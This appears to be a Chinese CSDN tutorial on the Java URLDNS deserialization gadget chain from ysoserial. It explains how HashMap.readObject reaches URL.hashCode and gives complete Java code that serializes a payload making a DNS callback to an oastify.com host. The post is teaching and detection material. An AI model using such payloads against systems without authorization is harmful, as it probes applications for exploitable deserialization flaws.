java代码审计之URLDNS

java代码审计之URLDNS

URLDNS利用 Java 中 java.net.URL 类的特性,生成一个仅触发 DNS 请求的序列化负载。这个利用链非常适合用于检测和验证 Java 应用程序是否存在反序列化漏洞,因为它不限制jak版本,使用JAVA内置类,对第三方依赖没有要求,并且不会执行任意代码,只会触发 DNS 请求,从而降低测试过程中的风险。

1. git地址

ysoserial/src/main/java/ysoserial/payloads/URLDNS.java at master · frohoff/ysoserial · GitHub

2. 工具链如下:

image-20240519193524539

3. 工具链分析

new UEL()—>URL.hashCode(),如果hashCode=-1,则重新计算hashCode

image-20240519213531663

如果hashCode=-1,则通过以下函数获取IP地址。

image-20240520073926002

接下来分析哪里调用URL.hashCode函数,new HashMap(),进入HashMap函数,查找到readObject(在进行反序列化时会调用readObject()方法),在从readObject中发现,hash(key),

image-20240520081324345

当key!=null时,key的类型为URL,hashCode=-1 会调用hashCode函数,从而触发DNSURL地址。

序列化:

package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {
    public static void serizlizable(String path,Object obj) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserizlizable(String path) throws Exception {
        ObjectInputStream objectIutputStream = new ObjectInputStream(new FileInputStream(path));
        return objectIutputStream.readObject();
    }

    public static void main(String[] args) throws Exception {
        URL url = new URL("http://r4wbxk090bj0gdzd3jipls77qywpkf84.oastify.com");
        Field hashCode = URL.class.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.setInt(url,12);
        HashMap<URL, Object> map = new HashMap<>();
        map.put(url,null);
        hashCode.setInt(url,-1);
        serizlizable("url.txt",map);
    }
}

反序列化,触发DNSlog请求

public static void main(String[] args) throws Exception {
       unserizlizable("url.txt");
    }

image-20240520205025531

able(“url.txt”);
}


[外链图片转存中...(img-dnPMnhY4-1716209546048)]

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值